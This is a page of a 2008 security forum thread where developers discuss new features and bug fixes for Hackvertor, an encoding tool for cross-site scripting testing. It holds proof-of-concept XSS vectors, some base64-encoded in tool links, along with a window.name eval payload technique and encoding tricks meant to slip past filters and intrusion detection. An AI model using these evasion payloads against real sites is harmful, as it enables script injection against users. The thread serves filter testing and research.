"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

Options: ReplyQuote
Re: Hackvertor - Feature requests & bugs please post here
Posted by: noconnexion
Date: February 18, 2008 11:22PM

I guess this makes you "the man". Thanks!
But how I should know that I have to use <@arithmetic_1(1,-,',')> to decode that ?

Options: ReplyQuote
Re: Hackvertor - Feature requests & bugs please post here
Posted by: Gareth Heyes
Date: February 19, 2008 02:39AM

Basically the code you posted takes a long string of characters and converts each character to character codes, then it takes one value off the returned character code and converts the result from character codes.

The arithmetic tag is used to perform math operations on single or multiple values which is perfect for this situation.

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

Options: ReplyQuote
Re: Hackvertor - Feature requests & bugs please post here
Posted by: Gareth Heyes
Date: February 19, 2008 05:26AM

I've added US-ASCII encode/decode tags, I found the info about this on the XSS cheatsheet. A sample can be view here:-

(Based on the cheatsheet vector)
http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php?input=PEB1c19hc2NpaV82Pjw8QC91c19hc2NpaV82PnNjcmlwdDxAdXNfYXNjaWlfNT4%2BPEAvdXNfYXNjaWlfNT5hbGVydCg8QHVzX2FzY2lpXzQ%2BIjxAL3VzX2FzY2lpXzQ%2BWFNTPEB1c19hc2NpaV8zPiI8QC91c19hc2NpaV8zPik8QHVzX2FzY2lpXzI%2BPDxAL3VzX2FzY2lpXzI%2BL3NjcmlwdDxAdXNfYXNjaWlfMT4%2BPEAvdXNfYXNjaWlfMT4%3D

I find these character set issues fascinating and I may do some more work in understanding them and producing vectors.

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

Options: ReplyQuote
Re: Hackvertor - Feature requests & bugs please post here
Posted by: kirke
Date: February 19, 2008 02:51PM

As I've done parts of the CAL9000 code I'd inform you that the base64 encoding (can't remember for sure for decoding) is buggy, soetimes, somehow
So please take care when using that code.
Better functions are in my labs ...

Options: ReplyQuote
Re: Hackvertor - Feature requests & bugs please post here
Posted by: Gareth Heyes
Date: February 19, 2008 03:45PM

@kirke

Was it the IE version of the base64 encoding? Would you mind me using your code in Hackvertor? Thanks

On another note I've just added a range tag and also improved the Math conversion tags. It's possible to create a range of numbers and convert each individual number:-

http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php?input=PEBkZWMyaGV4XzEoJywnKT48QHJhbmdlXzAoMjApPjE8QC9yYW5nZV8wPjxAL2RlYzJoZXhfMT4%3D

The range tag is extremely useful, I dunno why didn't think of adding this before. For example you can get a range of any characters:-
http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php?input=PEBmcm9tY2hhcmNvZGVzXzA%2BPEByYW5nZV8xKDEyMik%2BMTxAL3JhbmdlXzE%2BPEAvZnJvbWNoYXJjb2Rlc18wPg%3D%3D

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]



Edited 2 time(s). Last edit at 02/20/2008 07:21AM by Gareth Heyes.

Options: ReplyQuote
Re: Hackvertor - Feature requests & bugs please post here
Posted by: Gareth Heyes
Date: February 20, 2008 10:56AM

I've not got a lot to do at the moment....so I was really bored. I found a list of character tables on the net. I decided to write a little php program to convert each of the tables into a js object. Once the JS code was created I then integrated them into Hackvertor...The result Dingbat XSS :D

http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php?input=PEBjc196ZGluZ2JhdF8yPiI%2BPHNjcmlwdD5hbGVydCgvRElORyBYU1MvKTwvc2NyaXB0PjxAL2NzX3pkaW5nYmF0XzI%2B

If anyone would like to use the char table objects it's available here:-
http://www.businessinfo.co.uk/labs/hackvertor/chartables.js

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

Options: ReplyQuote
Re: Hackvertor - Feature requests & bugs please post here
Posted by: thornmaker
Date: February 20, 2008 02:01PM

i would like to see a dingbat xss in the wild sometime :)

oh, and your conversion to hackverlet util doesn't handle input strings like "><script>alert(0)</script> very well... the drag-and-drop page executes the js.

Options: ReplyQuote
Re: Hackvertor - Feature requests & bugs please post here
Posted by: Gareth Heyes
Date: February 20, 2008 02:24PM

@thornmaker

Thanks mate I was aware of that prob, I will fix it

Gooooo dingbats

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

Options: ReplyQuote
Re: Hackvertor - Feature requests & bugs please post here
Posted by: Malkav
Date: February 20, 2008 02:38PM

feel the power

[demo.phpids.org]

php-ids detecting whacky encoding attacks ? check.

next this damn thing will invent it's own new escape/encoding/vectors 'cause humans are not good enough.

i for one, welcome our new whacky XSS detecting overlord :)

----------------------------------------------------------------------------------------------------------------

Those that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety.
--Benjamin Franklin

Options: ReplyQuote
Re: Hackvertor - Feature requests & bugs please post here
Posted by: Gareth Heyes
Date: February 20, 2008 02:40PM

Yeah PHPIDS rules

Me and Thornmaker should know we've been throwing everything at it :D

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]



Edited 1 time(s). Last edit at 02/20/2008 02:40PM by Gareth Heyes.

Options: ReplyQuote
Re: Hackvertor - Feature requests & bugs please post here
Posted by: Gareth Heyes
Date: February 20, 2008 03:22PM

@thornmaker

Fixed dude thanks! :)

1. Changed the reg exp to allow multiple Hackvertlet placeholders in the window.
2. Based encoded the Javascript creation code to allow any characters.
3. Fixed the prompt window when clicking cancel.
4. Fixed script injection on the Hackvertlet name. Not technically XSS but I still didn't like it :)

Cheers again

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]



Edited 1 time(s). Last edit at 02/20/2008 03:30PM by Gareth Heyes.

Options: ReplyQuote
Re: Hackvertor - Feature requests & bugs please post here
Posted by: Gareth Heyes
Date: February 20, 2008 04:00PM

I've also added a tosource tag which uses the tosource javascript method to nicely format code:-

http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php?input=PEB0b3NvdXJjZV8wPng9MTtpZih4PT0xKWFsZXJ0KDEpPEAvdG9zb3VyY2VfMD4%3D

It will always prompt for execution to prevent XSS

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

Options: ReplyQuote
Re: Hackvertor - Feature requests & bugs please post here
Posted by: Malkav
Date: February 21, 2008 04:08AM

do you sleep from time to time ?

three days, three new, cool, functionality.

wow.

----------------------------------------------------------------------------------------------------------------

Those that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety.
--Benjamin Franklin

Options: ReplyQuote
Re: Hackvertor - Feature requests & bugs please post here
Posted by: Gareth Heyes
Date: February 21, 2008 05:33AM

@malkav

LOL nope not much

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

Options: ReplyQuote
Re: Hackvertor - Feature requests & bugs please post here
Posted by: kirke
Date: February 22, 2008 07:12PM

@Gareth Heyes
> Was it the IE version of the base64 encoding?
you mean the "is buggy sometimes"?
then the answer is no, as I never tested with unreliable browsers ;-)

> Would you mind me using your code in Hackvertor?
feel free if it works for you (IE not supported, at least never tested)



Edited 1 time(s). Last edit at 02/22/2008 07:21PM by kirke.

Options: ReplyQuote
Re: Hackvertor - Feature requests & bugs please post here
Posted by: Gareth Heyes
Date: February 26, 2008 10:38AM

I've updated Hackvertor again, it now supports punctuation characters in morse code lol. Mouseover tag/command help, tags now displays a description and title when hovering over them. This is only partly done because there are a hell of a lot of tags now :) If anyone wants to help with documentation then please post a help array with the tag information like this:-

help['base64'] = ['Base64 encodes a string','<p>Uses native Firefox functions to perform the conversion and automatically adds support for other browsers. No params for this tag.</p>'];

So here's how the array is constructed:-
help['name of tag'] = ['Title of tag','Description of tag']

I've got about half way through up to and including "Fuzzing", common inputs etc still require docs.

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

Options: ReplyQuote
Re: Hackvertor - Feature requests & bugs please post here
Posted by: Gareth Heyes
Date: February 27, 2008 07:24AM

Code morphing has now been added, more info available here:-

http://www.thespanner.co.uk/2008/02/27/polymorphic-javascript/

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

Options: ReplyQuote
Re: Hackvertor - Feature requests & bugs please post here
Posted by: Gareth Heyes
Date: March 03, 2008 04:38AM

I've recently added a send to iframe feature which is useful for window.name payloads.

1. Enter the name xss in the output window like:- eval(name)
2. Enter your url to send the output to.
3. Enter your payload which will be stored in the iframe name, like alert(1)

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

Options: ReplyQuote
Re: Hackvertor - Feature requests & bugs please post here
Posted by: Anonymous User
Date: March 03, 2008 04:51AM

Nice one! Do I need to protect the IDS servers for an extra stormy season now? ;)

Options: ReplyQuote
Re: Hackvertor - Feature requests & bugs please post here
Posted by: Gareth Heyes
Date: March 03, 2008 06:58AM

Hehe maybe soon :)

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

Options: ReplyQuote
Re: Hackvertor - Feature requests & bugs please post here
Posted by: Gareth Heyes
Date: March 03, 2008 10:35AM

Added E4X morphs, you can now HTML encode Javascript multiple times using Hackvertor :-

http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php?input=PEBlNHhfZGVjX21vcnBoX2Z1bGxfMT48QGU0eF9oZXhfbW9ycGhfZnVsbF8wPmFsZXJ0KCdYU1MnKTxAL2U0eF9oZXhfbW9ycGhfZnVsbF8wPjxAL2U0eF9kZWNfbW9ycGhfZnVsbF8xPg%3D%3D

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

Options: ReplyQuote
Pages: Previous123Next
Current Page: 2 of 3


Sorry, only registered users may post in this forum.